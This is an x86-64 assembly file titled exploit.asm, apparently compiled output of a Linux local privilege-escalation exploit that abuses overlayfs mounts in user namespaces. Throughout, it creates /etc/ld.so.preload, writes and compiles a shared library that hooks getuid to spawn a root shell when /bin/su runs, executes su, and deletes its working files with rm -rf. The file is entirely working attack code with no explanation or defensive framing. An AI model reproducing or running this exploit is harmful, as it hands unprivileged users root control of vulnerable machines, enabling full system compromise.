exploit.asm

	.file	"exploit.asm"
	.intel_syntax noprefix
	.text
	.section	.rodata.str1.1,"aMS",@progbits,1
.LC0:
	.string	".access"
.LC1:
	.string	"ns_last_pid"
.LC2:
	.string	"rm -rf /tmp/ns_sploit"
.LC3:
	.string	"/tmp/ns_sploit"
.LC4:
	.string	"/tmp/ns_sploit/work"
.LC5:
	.string	"/tmp/ns_sploit/upper"
.LC6:
	.string	"/tmp/ns_sploit/o"
.LC7:
	.string	"mount #1\n"
	.section	.rodata.str1.8,"aMS",@progbits,1
	.align 8
.LC8:
	.string	"lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper"
	.section	.rodata.str1.1
.LC9:
	.string	"overlayfs"
.LC10:
	.string	"overlay"
	.section	.rodata.str1.8
	.align 8
.LC11:
	.string	"lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work"
	.align 8
.LC12:
	.string	"no FS_USERNS_MOUNT for overlayfs on this kernel\n"
	.section	.rodata.str1.1
.LC13:
	.string	"/tmp/ns_sploit/work/work"
.LC14:
	.string	"ld.so.preload"
.LC15:
	.string	"/"
.LC16:
	.string	"mount #2\n"
	.section	.rodata.str1.8
	.align 8
.LC17:
	.string	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc"
	.align 8
.LC18:
	.string	"lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work"
	.align 8
.LC19:
	.string	"/tmp/ns_sploit/o/ld.so.preload"
	.text
	.p2align 4
	.type	child_exec, @function
child_exec:
.LFB22:
	.cfi_startproc
	push	r13
	.cfi_def_cfa_offset 16
	.cfi_offset 13, -16
	lea	rdi, .LC2[rip]
	mov	r13d, 3236757504
	push	r12
	.cfi_def_cfa_offset 24
	.cfi_offset 12, -24
	lea	r12, .LC9[rip]
	push	rbp
	.cfi_def_cfa_offset 32
	.cfi_offset 6, -32
	lea	rbp, .LC10[rip]
	push	rbx
	.cfi_def_cfa_offset 40
	.cfi_offset 3, -40
	lea	rbx, .LC6[rip]
	sub	rsp, 8
	.cfi_def_cfa_offset 48
	call	system@PLT
	mov	esi, 511
	lea	rdi, .LC3[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC4[rip]
	call	mkdir@PLT
	mov	esi, 511
	lea	rdi, .LC5[rip]
	call	mkdir@PLT
	mov	esi, 511
	mov	rdi, rbx
	call	mkdir@PLT
	mov	edx, 9
	mov	rcx, QWORD PTR stderr[rip]
	mov	esi, 1
	lea	rdi, .LC7[rip]
	call	fwrite@PLT
	mov	rcx, r13
	mov	rdx, r12
	mov	rsi, rbx
	lea	r8, .LC8[rip]
	mov	rdi, rbp
	call	mount@PLT
	test	eax, eax
	je	.L6
	lea	r8, .LC11[rip]
	mov	rcx, r13
	mov	rdx, rbp
	mov	rsi, rbx
	mov	rdi, rbp
	call	mount@PLT
	test	eax, eax
	jne	.L12
	mov	esi, 511
	lea	rdi, .LC13[rip]
	lea	r13, .LC0[rip]
	call	chmod@PLT
	jmp	.L2
	.p2align 4,,10
	.p2align 3
.L6:
	lea	r13, .LC1[rip]
.L2:
	mov	rdi, rbx
	call	chdir@PLT
	lea	rsi, .LC14[rip]
	mov	rdi, r13
	mov	r13d, 3236757504
	call	rename@PLT
	lea	rdi, .LC15[rip]
	call	chdir@PLT
	mov	rdi, rbx
	call	umount@PLT
	mov	edx, 9
	mov	rcx, QWORD PTR stderr[rip]
	mov	esi, 1
	lea	rdi, .LC16[rip]
	call	fwrite@PLT
	mov	rcx, r13
	mov	rdx, r12
	mov	rsi, rbx
	lea	r8, .LC17[rip]
	mov	rdi, rbp
	call	mount@PLT
	test	eax, eax
	je	.L4
	lea	r8, .LC18[rip]
	mov	rcx, r13
	mov	rdx, rbp
	mov	rsi, rbx
	mov	rdi, rbp
	call	mount@PLT
	test	eax, eax
	jne	.L13
	mov	esi, 511
	lea	rdi, .LC13[rip]
	call	chmod@PLT
.L4:
	lea	rdi, .LC19[rip]
	mov	esi, 511
	call	chmod@PLT
	add	rsp, 8
	.cfi_remember_state
	.cfi_def_cfa_offset 40
	mov	rdi, rbx
	pop	rbx
	.cfi_def_cfa_offset 32
	pop	rbp
	.cfi_def_cfa_offset 24
	pop	r12
	.cfi_def_cfa_offset 16
	pop	r13
	.cfi_def_cfa_offset 8
	jmp	umount@PLT
.L12:
	.cfi_restore_state
	mov	rcx, QWORD PTR stderr[rip]
	mov	edx, 48
	mov	esi, 1
	lea	rdi, .LC12[rip]
	call	fwrite@PLT
	or	edi, -1
	call	exit@PLT
.L13:
	or	edi, -1
	call	exit@PLT
	.cfi_endproc
.LFE22:
	.size	child_exec, .-child_exec
	.section	.rodata.str1.1
.LC20:
	.string	"spawning threads\n"
	.section	.rodata.str1.8
	.align 8
.LC21:
	.string	"failed to create new user namespace\n"
	.align 8
.LC22:
	.string	"failed to create new mount namespace\n"
	.section	.rodata.str1.1
.LC23:
	.string	"child threads done\n"
.LC24:
	.string	"/etc/ld.so.preload"
.LC25:
	.string	"exploit failed\n"
.LC26:
	.string	"/etc/ld.so.preload created\n"
.LC27:
	.string	"creating shared library\n"
.LC28:
	.string	"/tmp/ofs-lib.c"
	.section	.rodata.str1.8
	.align 8
.LC29:
	.ascii	"#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar pa"
	.ascii	"th[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)"
	.ascii	"(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/p"
	.string	"roc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"
	.align 8
.LC30:
	.string	"gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w"
	.align 8
.LC31:
	.string	"couldn't create dynamic library\n"
	.section	.rodata.str1.1
.LC32:
	.string	"/tmp/ofs-lib.so\n"
	.section	.rodata.str1.8
	.align 8
.LC33:
	.string	"rm -rf /tmp/ns_sploit /tmp/ofs-lib.c"
	.section	.rodata.str1.1
.LC34:
	.string	"su"
.LC35:
	.string	"/bin/su"
	.section	.text.startup,"ax",@progbits
	.p2align 4
	.globl	main
	.type	main, @function
main:
.LFB23:
	.cfi_startproc
	push	rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	mov	edx, 17
	mov	esi, 1
	lea	rdi, .LC20[rip]
	push	rbx
	.cfi_def_cfa_offset 24
	.cfi_offset 3, -24
	sub	rsp, 24
	.cfi_def_cfa_offset 48
	mov	rcx, QWORD PTR stderr[rip]
	call	fwrite@PLT
	call	fork@PLT
	test	eax, eax
	jne	.L15
	mov	edi, 268435456
	call	unshare@PLT
	test	eax, eax
	jne	.L28
.L16:
	call	fork@PLT
	lea	rbp, 12[rsp]
	mov	ebx, eax
	test	eax, eax
	jne	.L17
	lea	rdi, child_exec[rip]
	xor	ecx, ecx
	mov	edx, 131089
	xor	eax, eax
	lea	rsi, child_stack[rip+1048576]
	call	clone@PLT
	mov	edi, eax
	test	eax, eax
	js	.L29
	lea	rbp, 12[rsp]
	xor	edx, edx
	xor	eax, eax
	mov	rsi, rbp
	call	waitpid@PLT
.L17:
	xor	edx, edx
	mov	rsi, rbp
	mov	edi, ebx
	xor	eax, eax
	call	waitpid@PLT
	jmp	.L19
.L15:
	mov	edi, 300000
	call	usleep@PLT
	xor	edi, edi
	xor	eax, eax
	call	wait@PLT
	mov	edx, 19
	mov	rcx, QWORD PTR stderr[rip]
	mov	esi, 1
	lea	rdi, .LC23[rip]
	call	fwrite@PLT
	mov	esi, 1
	lea	rdi, .LC24[rip]
	xor	eax, eax
	call	open@PLT
	mov	rcx, QWORD PTR stderr[rip]
	mov	ebx, eax
	cmp	eax, -1
	je	.L30
	mov	edx, 27
	mov	esi, 1
	lea	rdi, .LC26[rip]
	call	fwrite@PLT
	mov	edx, 24
	mov	rcx, QWORD PTR stderr[rip]
	mov	esi, 1
	lea	rdi, .LC27[rip]
	call	fwrite@PLT
	mov	edx, 511
	mov	esi, 65
	xor	eax, eax
	lea	rdi, .LC28[rip]
	call	open@PLT
	mov	edx, 418
	lea	rsi, .LC29[rip]
	mov	ebp, eax
	mov	edi, eax
	call	write@PLT
	mov	edi, ebp
	call	close@PLT
	lea	rdi, .LC30[rip]
	call	system@PLT
	test	eax, eax
	jne	.L31
	mov	edx, 16
	lea	rsi, .LC32[rip]
	mov	edi, ebx
	call	write@PLT
	mov	edi, ebx
	call	close@PLT
	lea	rdi, .LC33[rip]
	call	system@PLT
	xor	edx, edx
	lea	rsi, .LC34[rip]
	xor	eax, eax
	lea	rdi, .LC35[rip]
	call	execl@PLT
.L19:
	add	rsp, 24
	.cfi_remember_state
	.cfi_def_cfa_offset 24
	xor	eax, eax
	pop	rbx
	.cfi_def_cfa_offset 16
	pop	rbp
	.cfi_def_cfa_offset 8
	ret
.L28:
	.cfi_restore_state
	mov	rcx, QWORD PTR stderr[rip]
	mov	edx, 36
	mov	esi, 1
	lea	rdi, .LC21[rip]
	call	fwrite@PLT
	jmp	.L16
.L30:
	lea	rdi, .LC25[rip]
	mov	edx, 15
	mov	esi, 1
	call	fwrite@PLT
	or	edi, -1
	call	exit@PLT
.L31:
	mov	rcx, QWORD PTR stderr[rip]
	mov	edx, 32
	mov	esi, 1
	lea	rdi, .LC31[rip]
	call	fwrite@PLT
	or	edi, -1
	call	exit@PLT
.L29:
	mov	rcx, QWORD PTR stderr[rip]
	mov	edx, 37
	mov	esi, 1
	lea	rdi, .LC22[rip]
	call	fwrite@PLT
	or	edi, -1
	call	exit@PLT
	.cfi_endproc
.LFE23:
	.size	main, .-main
	.local	child_stack
	.comm	child_stack,1048576,32
	.section	.note.GNU-stack,"",@progbits